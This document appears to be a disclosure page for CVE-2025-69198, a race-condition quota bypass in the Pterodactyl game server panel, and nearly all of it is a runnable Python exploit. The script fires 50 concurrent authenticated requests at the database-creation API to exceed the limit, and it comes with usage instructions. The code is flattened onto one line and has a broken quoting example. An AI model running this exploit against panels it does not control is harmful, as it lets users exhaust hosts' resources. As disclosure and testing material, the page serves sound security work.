CVE-2025-69198 Pterodactyl游戏服务器管理面板资源配额绕过漏洞

import asyncio import aiohttp import sys async def exploit_race_condition(base_url: str, api_token: str, server_id: str): """ PoC for CVE-2025-69198: Pterodactyl Resource Quota Bypass via Race Condition This script demonstrates how multiple concurrent requests can bypass resource limits. """ headers = { 'Authorization': f'Bearer {api_token}', 'Content-Type': 'application/json', 'Accept': 'application/json' } # Number of concurrent requests to send num_requests = 50 async def create_resource(session): """Send a resource creation request""" url = f'{base_url}/api/client/servers/{server_id}/databases' payload = { 'name': 'exploit_db', 'remote': '127.0.0.1' } try: async with session.post(url, json=payload, headers=headers) as response: return { 'status': response.status, 'success': response.status in [200, 201] } except Exception as e: return {'status': 'error', 'error': str(e)} async with aiohttp.ClientSession() as session: # Send all requests concurrently tasks = [create_resource(session) for _ in range(num_requests)] results = await asyncio.gather(*tasks) successful = sum(1 for r in results if r.get('success', False)) print(f"Total requests: {num_requests}") print(f"Successful creations: {successful}") print(f"Expected limit: 1, Actual created: {successful}") if successful > 1: print("[+] VULNERABLE: Race condition confirmed - quota bypassed!") else: print("[-] Not vulnerable or quota already reached") if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python poc.py <base_url> <api_token> <server_id>") print("Example: python poc.py https://panel.example.com "your-token" "abc123"") sys.exit(1) asyncio.run(exploit_race_condition(sys.argv[1], sys.argv[2], sys.argv[3]))